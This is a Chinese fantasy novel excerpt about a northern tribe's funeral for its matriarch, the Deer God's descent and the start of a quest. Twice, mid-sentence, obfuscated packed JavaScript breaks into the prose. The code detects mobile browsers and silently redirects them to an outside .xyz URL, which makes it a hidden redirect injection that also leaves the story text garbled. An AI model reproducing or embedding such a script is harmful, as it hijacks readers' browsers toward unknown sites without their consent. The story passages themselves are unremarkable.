《鹿神长歌》 1. 祖母的葬礼 寒风如剔骨尖刀,掠过遥远北方大地那苍茫的林海,划出山脉的沟壑。尽管已经到了三月,但冰封的土地尚未开冻,密林边界的平原上,漫长冬季存留下来的积雪被呼啸而过的北风重塑成它的形状,像是一片银白色的沙漠,又像是漫无边际的湖泊,波光粼粼。 这是一部漫长史诗的起点,人类曾用双脚丈量着世界的边界,如今,他们不再弱小,也试着像北风一般,在土地上留下属于自己的痕迹,将泥土、坚石、高山,一切恒久不变之物重新雕刻,重新铸造新的价值。 故事的开头,是一天清晨,春分日的那一天。 在森林前的雪原上,两个少年狩猎归来,腰间挂着一只雪兔,双脚踩着用桦木枝条制成的雪鞋,这种雪鞋只是在皮靴下面用枝条编成网状的模样,还是走的异常艰难,深一脚浅一脚的。 打头的那个手握用杉木制成的长弓,无论是弓身的弯度还是弓弦的弹性,算不上是质量上乘的武器。另外一个手中拿着长矛,腰间挂着剥皮刀,刀刃上凝结着暗红的冻血,看起来像打头少年的副手。对他们这个年纪,这样的装备打一些小的猎物已经绰绰有余,毕竟,这是两个人亲手制成的。 “萨哈良,你快一点!本来今天出来就晚了,再不赶紧回去又要挨骂了。” 拿着长弓的少年连连催促着身后的小伙伴,他个子不高,但身体壮实,脸圆圆的像个泥娃娃,上面带着高纬度地区特有的红晕,在雪地刺目的反光下眯起眼睛看着身后的伙伴。 看起来在他们的部族,今天中午是要举行什么活动了。 “阿沙!你等等我,这雪太深了我走不动。” 后面那个叫萨哈良的,年纪要比阿沙小了不少。他身形瘦削,面容清秀,乌黑的眉毛下藏着褐色的眼睛,在积雪的映照下像是松树上慢慢凝结的琥珀,眉目间还带着尚未褪尽的稚嫩,和少年特有的执着。 能看得出,家里人怕他出门打猎受了寒,或者是被野兽袭击,肩膀上正披着厚厚的皮毛,也难怪他行路艰难。 “你这个样子,过一阵的成年试炼要是没通过怎么办啊?” 阿沙笑着回头把他从雪里面拉出来,冻红的指尖深深陷进萨哈良厚厚的皮袍里。少年听他这么说,显得有点着急,一边拍着身上的雪,一边大声对他说: “不可能!我一定能过!” 被萨哈良如此重视的,是部族特有的成年仪式,需要通过试炼才能得到神灵的承认。近十几年不知为何,部族里的人丁渐渐稀少,因此这个试炼的难度已经比曾经简单了许多,至少不会出人命了。 “哈哈,不管神灵能不能承认你,能跟我阿沙一同狩猎的,我先认同你了!” 听阿沙这么说,两个人一起笑了起来。 返程时,萨哈良敏锐的察觉到遥远的山边有一缕极淡的黑烟在向上飘散,不仔细看的话难以发现,但狩猎的快乐轻易的便将心头那丝若有若无的不安拂去了。 年轻人总是有着用不完的力气,他们早上出门跑出去二十多里,回来的时候,连走带跑的,终于赶在中午前回到了部族的营地。 部族的名字叫做“邬沙苏”,也是他们信仰的鹿神名讳。营地在一片茂密的白桦林之中,大门,房屋甚至是家具,小到碗和勺子,无不是桦木制成,散发着特有的木质清香。 营地的门口正支起一口大锅,锅里煮着沸腾的开水,冒起温暖的蒸汽。几位族中长辈忙忙碌碌,忙着给一只前几天猎杀的麂鹿剥皮,一般来说剥皮是不用开水烫的,只是烫过之后更柔软,穿着更舒服。 两个少年做贼似的低着头,想从大门的另一侧偷偷溜进去。 “你们两个小兔崽子给我站住!” 阿沙的妈妈一把薅住了他,本来他正准备拔腿就跑,这一下差点给他拽一跟头。 “自己抬头看看都什么时候了,下午就是阿娜吉老祖母的葬礼了,忘记老祖母对你的好了吗?还是说你们俩本来想大家都聚在一块的时候,带着你们抓的兔子进来打断萨满主持仪式?不嫌尴尬吗?” 妈妈大声斥责着两个人,周围的人都笑着看了过来。 “阿妈......我们俩这不是也没耽误时间嘛......就是想试试昨天做的弓......” “还有我昨天拿黑曜石敲打出来的剥皮刀!” 萨哈良拔出自己锋利的小刀,正要给阿沙妈妈看,突然发现上面还沾着血,赶紧在衣服上蹭了蹭。 阿沙妈妈狠狠瞪了他们一眼,说: “快去,再去看看老祖母,还有阿沙,我晚上再收拾你。” 说罢,两人刚要逃走,她照着阿沙的屁股上猛踹一脚,疼的他直哼哼。像阿沙妈妈这样优秀的战士,要是用尽全力,怕是连一头黑熊,也能踢的落荒而逃。 但年轻的人类崽子恢复能力还是强的多,两人手拉着手,从拥挤的人流中穿过,向着专门为葬礼搭建的祭台走去。 主持葬礼的老萨满此时已经穿好祭服,正端坐在最高处的座位,椅子上铺着一张油光水滑的巨大熊皮。部族内人人皆知,这头威猛的巨熊是由老萨满和老祖母年轻时猎杀的,她们曾经是最好的朋友,她们的功绩也曾为吟游诗人所赞颂,但人类的寿命终究无法战胜时间的流逝,老萨满如今已年老体弱,老祖母也暂别人世。 “暂别”二字,承载着部族对于生死观念的独特理解。 一旁的年轻萨满端着木碗,里面是牝鹿温热的鲜血,她用指尖蘸取,小心翼翼的在老萨满脸上画着神圣的纹样。其他的萨满有的在调整她身上银铃的位置,有的在将彩色的布条绑在她身上。 老萨满此时正在闭目养神,但她的耳朵却如同山猫一样敏锐,听见了人群中小小的异样,她睁开眼睛,用还算洪亮的声音对两名少年说到: “阿沙、萨哈良,你们两个,难道就没有什么珍贵的东西想要送给祖母吗?” 她并不是一定想要两个孩子交出什么,这个过程也是葬礼的一部分。 “乌娜吉奶奶,有的,我们为阿娜吉祖母准备了制作精美的弓和刀,弓的材料来自于一棵被雷劈倒的杉树,刀是萨哈良用石头一点一点打制而成,我们共同用它们狩猎了一只雪兔,愿祖母在天上也能开心的驰骋在雪原间。” 说罢,两个人分别把自己准备的礼物放在棺材里,放在阿娜吉祖母交叠的双手旁。这是阿沙第一次近距离的面对亲人遗容,他原本想握一握祖母的手,但手还没伸出来,就被某种来自灵魂深处,人类天生的恐惧阻止了。 但萨哈良就不一样了,他是一名见习萨满,已经为许多部族内的老人完成过葬礼。他低头看着阿娜吉祖母的脸,还像生前一样白皙、美丽又优雅,只是岁月带来的皱纹遍布脸上,像是她人生史诗的每一行韵脚。 祖母年轻时,会是多么美丽的人啊!萨哈良在心里这样想着,一种亲人离世的悲楚在他稚嫩的心房里慢慢蔓延着。 乌娜吉老萨满似乎看出了他心底的想法,缓缓开口,声音透着一种跨越时光的悠远,对他说: “萨哈良,你的成年试炼快要到了,从阿娜吉的遗物里挑选一个吧,试炼之后,也许你将践行她的道路。” 在部族的生死观之中,人的存在与人的执念被分成两份。当一个人死后,他的灵魂在神灵指引下升天,但他生前践行的道路会被完成试炼的年轻人继承,成为他生命的一部分,被永远传递下去。 萨哈良没有犹豫,他选了阿娜吉祖母生前使用的仪祭短刀,刀刃来自于百年前坠落到山前的陨铁,刀柄则是来自于那头巨熊的肋骨,上面镶嵌着精致的蜜蜡、玛瑙和绿松石。 乌娜吉老萨满看着这柄曾经握在故人手中,帮助她完成无数次仪式的刀,思绪已经飘向远方。 阿沙朝着萨哈良投去了羡慕的目光,作为母系氏族,阿娜吉老祖母的地位无与伦比,她通过自己的努力获得了无上的荣光,她的遗物也一定拥有神力。但阿沙早就通过成年试炼了,不过他也没有那么羡慕,抬手摸了摸自己脖子上的虎牙护符,它也来自于曾和阿娜吉并肩战斗过的伟大战士。 “乌娜吉奶奶,我选这把仪祭刀了。” 老萨满此时正沉浸在往昔的回忆中不愿抽离,朝萨哈良摆了摆手,示意两人可以下去了。 退到葬礼人群的最后边,阿沙兴奋的低声对萨哈良说: “快给我看看老祖母的神圣仪祭刀!” 萨哈良挺起胸脯,骄傲的说: “不行,那是乌娜吉奶奶亲口许给我的,从今天起我就要成为践行祖母道路的人了。” 阿沙听他这么说,这下轮到他着急了。 “给我看看嘛!以后你就是世界上最伟大的萨满,可以召唤鹿神亲自降世的那种!” 少年听他这么说,更是高兴的嘴都笑歪了,从腰间解下刀,用双手递给了阿沙。 阿沙轻轻地将它从刀鞘中拔出,年轻的战士把它握在手中挥舞,陨铁的刀刃上有着如同海波浪一般的纹路,每一次劈开空气时,似乎还能听到细微而清冽的嗡鸣。 “这么锐利的刀刃一定能轻易插进巨熊的心脏,阿娜吉祖母肯定是这么杀死巨熊的。” 萨哈良从阿沙的手中要回了刀,指尖轻轻拂过刀把上镶嵌的宝石,说: “你懂什么,看见这三颗宝石没,蜜蜡对应着太阳炽热的神力,玛瑙对应着大地,绿松石则对应了人心的力量,这才是关键所在,一定是阿娜吉奶奶和乌娜吉奶奶两个人的力量合二为一才杀死巨熊的。” “就像......就像我们两个合力猎到那只雪兔一样?” “对!” 两个年轻的少年还不知人世间的愁苦,如同遥远西方神话中尚未走出伊甸园的人类,心性像溪流一般澄澈。不然这么难为情的话说出口,脸都要红了。 太阳随着时间慢慢移动到了世间万物的头上,温暖的阳光轻轻的撒遍树林的每一个角落,让树枝与树叶的阴影变得越来越小,又从云层之中投射在了大地,照到阿娜吉祖母苍白的脸庞上。 “呜......呜......” 突然一声沉闷的号角响起,连绵不绝,在山谷中回荡,这是提示宾客们葬礼即将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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乌娜吉老萨满从座位上起身,高大的身影遮住了林间投下的阳光。她举起萨满鼓,按住上面挂着的一串银铃,用力拍了拍,示意在场的诸位仪式准备开始。 “嘭!嘭!嘭!” 有节奏的三声鼓点开始,应和着萨满手中敲响的鼓,她身上挂着的五彩布条也随之摇摆,让人看起来为之迷醉,仿佛又回到了乌娜吉年轻的时候。 “嘭!哗——嘭!嘭!” 这一次萨满松开了手中的银铃,清脆的响声吸引了林中的鸟类朝着这边飞来。乌娜吉扬起喉咙,高亢又遥远的声音从她的喉咙深处传来。 “呜啊! 松枝的头颅为白山而垂下, 呜咽的奔流因黑水而浩荡。 驯鹿般的脚步曾走在星辰的路上, 旅人的险阻,已化作春雾里舒展的新芽! 山洞中婴儿的啼哭,是你用鹿乳唤醒; 少年折断的猎弓,是你用鱼胶粘合; 迷途者眼里的风霜,被你故事中的篝火吹散! 看啊! 你的骨灰沉入黑土,将生出林中的醋栗; 你的白发飘向云端,凝聚成雄鹰翅尖的流霜! 请让鹿神为你引路, 踏过月亮的冰桥吧! 那里有先祖点燃的松明, 有你年少时射落的星辰, 正缀满你归去时的皮袍! 呜啊! 且饮下这碗乳酒! 我们将您的骨匣葬进熊的怀抱, 让你种下的根须穿透冻土! 当冬夜饿狼的长嗥撕开山谷, 当夏雨淹没敌人的战吼, 请从雪原中归来吧! 在林海响彻雄鹿的高歌!” 乌娜吉萨满将诗歌唱毕,余韵仍然在寒冷的空气中震颤着。环视四周。出席葬礼的人们正沉醉于诗歌中描绘的,阿娜吉祖母生前的功绩,她曾经照亮着每一个前行的勇士。 “嘭!嘭!” 老萨满再一次敲响了皮鼓,这次她的动作好像有些难以察觉的犹豫,嘴唇轻轻颤动了几次,想说的话都没有说出口,那一刻她眉宇间流露出的怯弱,竟像极了少女。但转眼间她还是坚定了信心,说到: “致我的朋友,我的战友。” 乌娜吉停顿了下,目光如同天鹅的绒羽,轻轻抚过棺中故人的面庞,说到: “和我的——爱人。” 话音落下的刹那,人群中压抑已久的悲痛再也无法抑制,有的人捂住了脸,肩膀微微的耸动,低声啜泣了起来。 萨哈良虽然还没有经历过这种事,但他也猜的出,这份深藏心底的爱意,阿娜吉生前应该从未听过,这份遗憾会一直伴随着她的死去,最终飘散在了林海雪原之中了吧 然而,不愧是族人们爱戴的老萨满,她很快就将汹涌的悲痛敛入心底。她再度抬起头时,脸上又恢复了神圣而灵性的庄严表情。 “嘭!嘭!嘭!” 乌娜吉舞动着裙摆五彩的飘带,敲起手中的萨满鼓,轻轻说到: “接下来,呼唤鹿神到来,接引阿娜吉。” “归乡。” 2. 鹿神现世 暮色将近,傍晚残阳将猩红的血色泼洒至白桦林间,葬礼的现场安静下来,人们静静的看着独属于乌娜吉萨满的表演。 篝火在祭祀台下孤独的燃烧,跳跃的火舌贪婪舔舐着夜幕降临前的寒冷与黑暗,有时火堆中的白桦木因为没有干燥,燃烧时发出噼啪的声响,像是林中精怪的脚步声。 老萨满站在篝火旁,火光映照着她长长的倒影。年轻的萨满在一旁侍祭,端起桦木碗盛着的山间清泉。她先是以松枝蘸取清水,洒向四方,喉咙像是在相互摩擦,声音有岩石敲击般的颗粒感,沙哑而沉重。随后低声吟唱着恭请万物有灵肃穆,静待鹿神降世的咒语。水珠落处,尘埃像是有了生命一般暗自退去,空气也为之一清。一旁的年轻萨满捧来熏香,洒向火堆之中——瞬间火星随晚风卷起,向深空中升腾而去。 她举起那面鹿皮制成的萨满鼓,时而鼓锤轻轻敲打,时而摇动鼓上的银铃,皮裙上缝缀的铁片、铃铛和彩色的布条也随之摇曳,在火光的照耀下拉成长长的影子。 鼓点越来越快,越来越沉,像是大地深处古老造物的心跳,又像是鹿神正在疾驰而来的蹄声,撕裂了傍晚的宁静。 突然,萨满在鼓声中扬起了原本低垂的头颅,引吭高歌,喉咙间传出了非人的声音,像是呼喊,又像是荒野生灵的鸣叫。密林深处的各种动物也在回应着她的喊声,她开始嘴里念念有词,萨哈良知道,那是她在为鹿神报上沿途群山的名字,指引鹿神认路。 鼓声越来越急,越来越密,像是仲夏暴雨的雨点抽打着大地,又像号令山野中的精灵速速现身,将鹿神引来。 老萨满戴上了象征鹿神灵体的巨大面具,然后张开双手,以不属于老人的姿势和力度跳下祭台,在细密的鼓点中奔向众人,与众人舞蹈。她旋转、跳跃、双脚在地上跺着,掀起一片尘埃,身上的珠串和五彩飘带开始疯狂摆动。 众人也加入进来,一同与她舞蹈。 但萨哈良觉得有些奇怪,他的直觉告诉他,乌娜吉奶奶并不像原来请神时那么投入,感觉像是在强迫自己进入灵魂界接引鹿神到来,而且这次仪式的时间有些太久,他有点害怕了,手放在了仪祭刀上。 突然,老萨满跳回了台上,鼓声戛然而止,像是绳子被利刃斩断,树林重回平静。随后,尽管她强撑着萨满的尊严,但还是一下摔倒在了地上。 好在年轻的萨满们眼疾手快,扶住了她。 台下的人们不知道发生了什么,发出了惊呼声。有的人在和身旁的同伴窃窃私语,大家都等待着老萨满开口说话。 “鹿神……鹿神没有回应我。” 乌娜吉老萨满在旁人的搀扶下,虚弱的向众人宣布请神的结果。 大家突然慌了,有人发出绝望的尖叫声,有人抱住了自己的孩子。霎那间利刃出鞘,人群之中寒光闪烁,部族的战士们拔出刀准备着应对看不见的敌人。 “我早就说了,你们贪得无厌,早已忘记了部族的荣耀!现在连怀胎的母鹿都敢杀了,这就是鹿神给我们降下的惩罚!” 白天的时候在营地门口给鹿剥皮的人突然高声喊到。 “你在说什么啊?那只鹿是冻死在冰湖上的,所以我才带回来剥皮!” 一个年轻人握着手中的武器,激动的反驳他。 “我觉得吧,大家也别着急,是每年祭祀贡品准备太晚了!” “胡说,每回都是准时准点,什么时候错过时候了?” 部族里负责采集食物的猎人也已经将腰间的银勾横在面前,看来他打算谁再废话就给他一下。 萨哈良暗自摩挲着那把来自于阿娜吉奶奶的刀,摩挲着刀柄上的蜜蜡宝石,想借太阳之力给予他勇气。那颗蜜蜡经过多年的使用在月光下更是温润,像是滋味诱人的上好奶酪。他每次抚过时,刀身都发出难以察觉的嗡鸣,宝石也变得温暖。 少年不知从哪儿得到了勇气,用稚嫩的嗓音向混乱的众人喊到: “安静!安静!你们谁下山狩猎都有迷路的时候,兴许鹿神也迷路了?而且鹿神一直是个热心肠的善神,假如路上有人陷于危难,神灵正在搭救也说不定啊!” 他想不出来什么合适的理由,但少年天真的假设还是安抚到了混乱的人们。 “我认为我们应该再等等,等待神灵的回应,拿出我们部族的虔诚,向鹿神展现!” 听完萨哈良的话,人群安静了下来,老萨满也向他投去赞许的目光,然后盘起双腿缓缓坐下,静静的坐在台上等待。 少年向旁边看了看好朋友阿沙,他也向萨哈良竖起了拇指。 但等待是最难熬的,原本仪式过后,本应该是开开心心的宴席环节,大家围绕着烤肉、烤鱼,疯狂的跳舞,然后喝干一坛又一坛的美酒,在欢乐中送别祖母走向生命的彼岸。可现在,人们一个个都盘腿坐在地上,手里攥着武器,无精打采,又饥寒交迫。小孩子已经在母亲的怀抱里沉沉睡去,只剩下大人还在坚持。 甚至,人们呼出的气都让四周凝成白霜。 萨哈良作为见习萨满深深的知道部族的历史,知道神灵之间也有杀伐。萨满传承的这一支自称有鹿神的血脉,已经有数百年甚至接近千年的历史。如果鹿神不来,将证明部族已经被神抛弃,这个消息传出去,部族将会被围攻。 但最可怕的,是部族内部信仰更迭之际,乌娜吉奶奶那个大萨满的位置将会被人觊觎,刚刚一触即发的火药味已经证明,倘若大家刀兵相见,届时会有很多人死去。 那么部族的实力将被削弱,甚至从这片土地上消失。 “阿娜吉祖母,你快帮帮我们啊!” 少年急的在嘴里默念着,手上一边把仪祭刀握紧。 在他短短的十六年生命中,这是最难熬的一天。 时间到了清晨,默不作声的人群中许多人已经睡着了,只剩下年轻的萨满们在悄悄的往篝火中添着柴火,存续着这盏于黑夜中为神灵引路的长明灯。老萨满在台上盘腿坐了一夜,衰老让她经历刚才的仪式之后,浑身的关节都在疼痛,但她只能双眼紧闭,一眼不发。 森林在黑夜之中像一个狡猾的怪物,当人类垂头丧气,失去斗志时,就会试图将其吞噬。晨雾慢慢从四周扩散而来,像汹涌的潮水一般。 “咚……咚” 萨哈良在半梦半醒间听到了密林深处传来像萨满鼓点一般的沉重蹄声,仿佛有地动山摇的力量,鸟群受惊之后鸣叫着飞向天空,就连松鼠、雪貂这些小动物也向外逃窜。 听到异响的不止萨哈良一人,他转头看过去,阿沙也醒来紧盯着森林里的黑暗。部族里的人都是天生的战士,反应快的已经拔出刀埋伏在树旁,猎手一齐搭弓上箭,瞄准异响传来的方向。 “咚……咚……咚” 声音越来越近,所有人的心都提到了嗓子眼。 “把武器都放下吧” 之前端坐在祭台沉默许久的老萨满低声说到,人们都转头看向她。 “我说把武器都放下,睁大眼睛好好看看是谁来了!” 人群又望向远方,一个巨大的,又有些透明的金黄色麋鹿出现在树林之中,它的硕大的鹿角和皮毛上缀着华丽的珠宝,在森林里闪闪发亮。此刻,正扬起它高贵的头颅,静静盯着在场的众人。那炽热而明亮的光照得人们睁不开眼,原本漆黑的森林此时亮如白昼,所有人都僵在原地不敢动弹,在神圣的光辉之下深深体会着自身的渺小。 “跪下!” 鹿神的命令不容置疑,又带着怒火。他的声音刚刚传递到耳边,紧接着一股无形的力量像冲击波一般横扫了整片森林,神的威严压迫着每个人跪伏在地上。 “怎么?你们现在已经如此得意忘形,连报山名的请神歌都能唱错?” 他死死盯着倒伏在地上的老萨满,像是来兴师问罪。 “我主持请神仪式已经六十多年了,不会有差错的。” “还敢顶嘴!” 鹿神猛的一抬前蹄,又是一阵巨大的冲击波,老萨满一下子被撞到了祭台旁边的柱子上,这一下她半天没能起身。 兴许是鹿神也觉得自己有点过了,毕竟已经结识许久,每年的祭祀和祭品都显示出部族的虔诚,他决定给萨满一个机会。 鹿神看了看棺木中 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话说到这,鹿神已经大致明了事情的原委。对于萨哈良来说,这件事的真相要到数年之后才知道,但到那时,这对他已经不重要了。 看着气氛陷入焦灼,却又难以起身,萨哈良拼命的摩挲着小刀上面的宝石,想要想出一个办法。 突然,从仪祭刀的刀鞘内散发出阵阵金光,施加在萨哈良身上的神力就像爆裂的绳索四分五裂,由于刚才想要起身的念想太过强烈,他猛的站起来险些摔倒。 “邬沙苏,鹿神,您错怪乌娜吉奶奶了,她对祖母的感情高过白山,深过黑水,绝不会怠慢的!” 鹿神看向在人群中起身的少年,表情有点吃惊,但很快看见了他手中握着的小刀,那是曾经属于阿娜吉的刀。 “你手里那把刀,是我送给她的,敢于叫出我真名的,你是第二个。” 萨哈良听他这么说,吓的又跪伏回地上。 一阵白雾将鹿神的灵体隐匿其中,过了没多会,化为人形的鹿神就从中走出了。 原本在场的男男女女在神明的威压下倒伏于地面喘着粗气,他从白雾中出现时,那美貌竟让众人屏住了呼吸。 只见鹿神身形高大,身上穿着宽松的曳地白色长袍,衣服随意披在身上,风格则是来自于遥远的古代,上面点缀着金线缝制的符咒。头上长着巨大又装饰有宝石的鹿角,上面挂着数条细金链,戴着用紫荆编制的花冠,头顶斜斜的绑着着象征神灵杀伐之力的狰狞面具,面具后系着的数条五彩飘带自鬓角两侧优雅的飘下。 长长的黑色头发一直垂到了腰间。面庞白皙、清瘦,剑眉衬托着暗金色的眼睛,审视着在场每一个人。 随后他张开纤细修长的手指,轻松的解开了神力的压迫。 老萨满本就年事已高,为了给祖母筹备葬礼,又拼了命完成请神仪式,已经力竭倒在地上奄奄一息。鹿神朝着她撒下林间金灿灿的露水,过了没多久,老萨满就恢复如初了。他高大的身形站在祭台上,四周散发着金色的微光,像是清晨的朝阳般柔和,温暖。 “你们祖祖辈辈信仰我已超过千年,子子孙孙又在这片土地上繁衍生息,其中的虔诚,我自然是知道的。” “以往请神都是凭依在萨满身体之上,这次我以灵体亲自降世,绝不是为兴师问罪而来的。都起身吧!” 听到神明的话,大家都站起身来。 萨哈良知道,刚刚他所担心的未来不会发生了,也放下心来。一旁的阿沙还不知道发生了什么事情,作为战士的他自然不会想那么多,但战士的直觉也让他知道危机已经解除,右手不再放在腰间的弯刀上了。 乌娜吉老萨满低着头,不敢看鹿神高贵的面庞,轻轻说到: “神灵,既然不是兴师问罪,我想请求您,请您先允许我为阿娜吉祖母完成葬礼仪式吧。” 鹿神用不屑的眼神打量着萨满,轻声说到: “别急,她的葬仪将由我邬沙苏亲自完成。” 3. 旅途的开始 在晨雾与朝阳之中,沉寂了一夜的生灵又重新活跃起来。树林中传来了各种鸟类的叫声,清脆而悦耳。 但部族的男女老少们可就没有那么幸运了,为了圆满完成葬礼,人们在祭祀现场苦苦等待鹿神降世整整一夜。 部族的老祖母曾经被称为这片洪荒大陆上活着的传奇,歌颂她的史诗数不胜数,由于她的离世,年轻一代的力量正处于青黄不接的时候。对于这件事,乌娜吉有自己的看法,她希望祖母的葬礼可以与部族重要的节日“春分日”一同进行,为祖母办的风风光光,同时重振部族的精神,也许可以解决人口日渐稀少的问题。 结果天不遂人愿,一方面是由于冰雪尚未解冻,部族与外界隔离,得不到其他部族的消息,老祖母的葬礼只有本族的人参加,另一方面,从没有出过差错的请神仪式竟然出了问题,在唱完请神歌之后,什么也没有发生。 这样程度的危机,上一次还是在神话时代,部族的创世英雄跟随鹿神一同征伐天下时发生的。 但好在,最终在清晨时,鹿神灵体亲自降临人世,只不过,人群中的气氛并没有那么平和。 “我现在要问你一个问题,灵魂界的每一寸土地都搜寻过了吗?” 鹿神低头看着老萨满的脸,尽管有附加神力的露水治疗,但精神上的压力还是让她看起来疲惫不堪。 “自从阿娜吉祖母离世那一天起,我和部族里的年轻萨满就在一刻不停的搜寻着荒野诸神在灵魂界的踪迹,但一无所获。” 萨哈良在台下听着他们的谈话,这样的事情在萨满历代传递的口述史中从未有过记载,由于太过离奇,在场的人们都没有意识到可能会发生什么,只是神色轻松的偷偷看着鹿神大人的背影。 “刚刚那个直呼我名字的小萨满呢,我要问问他怎么看这件事。” 鹿神转身看向萨哈良,他有点紧张,说话的声音有些颤抖,旁边的阿沙朝着他后背给了一拳,萨哈良才张开嘴: “我......我觉得说不定诸神的灵体也像您一样,离开灵魂界到人间游历了,就像我有时候找阿沙玩,他可能被妈妈安排出去干活了一样。” 阿沙听见萨哈良这么说,投来了难以置信的表情,阿沙妈妈则是噗嗤一下笑出声来。 “哈哈哈哈哈,好啊,这不愧是你和阿娜吉教出来的萨满,和你年轻的时候一样的幼稚。” 鹿神朝着老萨满这样说道,她没说话,只是笑了笑。 “那我再问你,如果是你应对这种情况,你想怎么解决?” 神灵低头看着萨哈良,他想了想,说道: “我觉得,如果是我的话,我可能会去寻找荒野诸神,因为如果阿沙不在家,我也会在营地附近找他,帮他把妈妈交代的任务完成。” 阿沙像拍蚊子一样把手拍到了脸上,看起来他对萨哈良的回答感到无语了。 “说得对,我也应该去寻找我的朋友们。” 鹿神沉思了一会,就在他思考的时候,祖母的木棺周围生出了只有在春天才能见到的花,人们都在为神迹而惊叹。 随后,神灵从祭台上飘下,来到棺木面前。 “好久不见,我的老友。” 鹿神表情温柔的看着棺木中的祖母,像是在回忆往昔相处时温暖快乐的时光。 随后神灵从一旁的树上折下松枝,朝着老祖母甩了几下。松枝上因为现场人们呼吸蒸腾出的露水瞬间化为金色的雾气,将棺木笼罩。没过一会,祖母因为半个月时间的停灵而干枯的面容又一次饱满了起来,是错觉吗?萨哈良感觉她的脸甚至有了一些血色,栩栩如生。 但萨哈良作为信仰虔诚的萨满,他很清楚生与死的界限是宇宙初开时就定下的法则,远远不是人力,乃至神力可以企及的领域。 “我现在要向你们宣布,我将去寻找其他的荒野诸神。” “这......” 如果说鹿神自己偷偷出远门,只要赶在特定节日之前回来,那谁也不知道。前面的话大家可能还听不大懂,但现在大家是明白的。 就像萨满寻不到其他的荒野诸神一样,与神灵交流,需要萨满进行仪式,通过灵魂界传信才行,也就是说,如果鹿神离开灵魂界亲自寻找,那么直到他归来前,部族的萨满将一直无法和他联系上。 “神灵,这件事还是再考虑吧,先等冰雪化开之后我们派几个人下山去其他部族联系他们,有了消息我们再做打算。” 乌娜吉萨满对鹿神的决定心怀疑虑,她是个意志坚定的人,倘若她认定这件事不行,就一定尽全力劝阻。 “我意已决,不管用什么办法,我都一定要找到他们!” 但已经几千岁的鹿神自然也不是省油的灯,台下的人们静静的看着两个犟种在嘴上你来我往。 “神灵大人,我已经到了寿限将近的年纪了。因为我们这一代人活的太久,晚辈无法继承先辈的意志,如今部族的人才青黄不接,年轻萨满还没有拥有独当一面的能力,您这一去还不知道什么时候才能回来。” 老萨满拼命在脑海中寻找说服他的办法,想到他最后的那句不择手段,已经出现了纰漏。 “您这一去,灵魂界就彻底没有神灵驻守了,部落正处于脆弱的时候,倘若遭遇了灾厄,将无人能守护这片土地。” 鹿神在脑中思考片刻,确实如此。实际上,他并非一个冷血的神灵,有时候只是刀子嘴豆腐心罢了。 “我给你们一周时间,去寻找最近的狗獾部落,他们最常活动于南方群山边缘的草甸和黑湖之间,这一周时间绝对够用了。” 老萨满这才放下心来,不管结果如何,尽可能让鹿神留在部落或者回到灵魂界,才是她眼中保全部落最好的办法。 “让我们接下来完成未完的仪式吧。” 鹿神转过身,向人们宣布仪式的开始。 旁边的年轻萨满像以往引渡灵魂时一样,举起了萨满鼓,但鹿神抬起手,示意他们停下。神灵不必在意仪式的繁文冗节,以他的神力,召唤天地间精怪的力量何须咒语?只在手指之间而已。 台下的人们都开始向鹿神那边围聚过来,萨哈良和阿沙挤了半天没有挤进去,只能在后面踮起脚。鹿神向着棺木中的老祖母伸出手,拨开额头的白发,随后附身亲吻了上去。 “啊......” 众人发出低声惊呼,在鹿神亲吻阿娜吉祖母的额头后,一颗银白色的星星从棺木中升起,星星映照着鹿神金色的光芒,透出七色的火彩,像是人世间最宝贵的欧泊石一般,微微发着柔和的光。 “阿娜吉现在已经穿着缀满星辰的皮袍,走过月亮为她搭起的冰桥,站在天上的雪原上与她昔日的好友们一同搭弓狩猎了。” 鹿神向大家高声宣布,人们一同欢呼了起来。 那颗银白色的辰星此时正被鹿神握在手中,他对萨满说到: “如果仍然查不到诸神的下落,这趟远门,我还是要走的。我需要你们出一个人,供我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088663|179612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凭依。” 老萨满不明白他的意思,明明灵体本尊不是也跑来部族之中了吗? “活着的没有人见过您的灵体,这是我们的荣幸。既然能千里迢迢赶到部族,这趟旅程为什么还要凭依在人类身体之上?” 萨哈良听着乌娜吉奶奶问鹿神的话,感觉他好像隐瞒了什么,但那也是神的事情,不是小小少年可以问的。 “上古的神话时代,人类的英雄可以与我在天地间驰骋,狩猎足以载入史诗的巨大猎物。但远古的神灵常有依仗着神力,在人世间作恶多端,那时常年战乱不断。” “因此神灵达成共识,绝地天通,自此神灵与人类各司其职,互不干涉。” 鹿神亲自为在场的萨满讲述着神话时代的历史,萨哈良在后面听的已经入迷。在他学习过的口述史中,绝地天通只是一个曾经发生的事件,没有人知道它为什么发生。历代的老萨满中比较常见的解释是,那时人类因为过于狂妄,与神灵刀戈相向,而后神灵震怒,降下了这样的天罚。 “但荒野诸神与人类相处日久,所以给你们留下了通过仪祭相互沟通的机会,并提供庇护。因此,我的灵体并不能离开灵魂界太久,你们之中有我的血脉,才能借萨满的身体凭依。” 他似乎不在乎这种看似是弱点的禁忌知识为人类所知,而是耐心的为人类讲解,这就是神灵高傲的自信吧。 “可萨满的权柄还未传递给下一任,我年事已高,无法完成与你的旅途,而阿娜吉已经去世,在场的年轻萨满都不能独立完成请神,供你凭依。” 老萨满缓缓的向鹿神说道,但萨哈良感觉到,她是有些遗憾,无法完成与鹿神同行的荣耀。 鹿神张开双手,那颗银白色的辰星漂浮在他的手掌中。 “阿娜吉生前的执念与践行的道路正在我手中,让这枚辰星,让她自己选出一个没有通过成年试炼的人,就可以继承请神的权柄,供我凭依。” “但试炼的时间自古以来都是定在每年的夏至日,从未发生过更改,除非您愿意等到夏至日再走。” 乌娜吉萨满对鹿神的意见不置可否,鹿神有些不耐烦的说道: 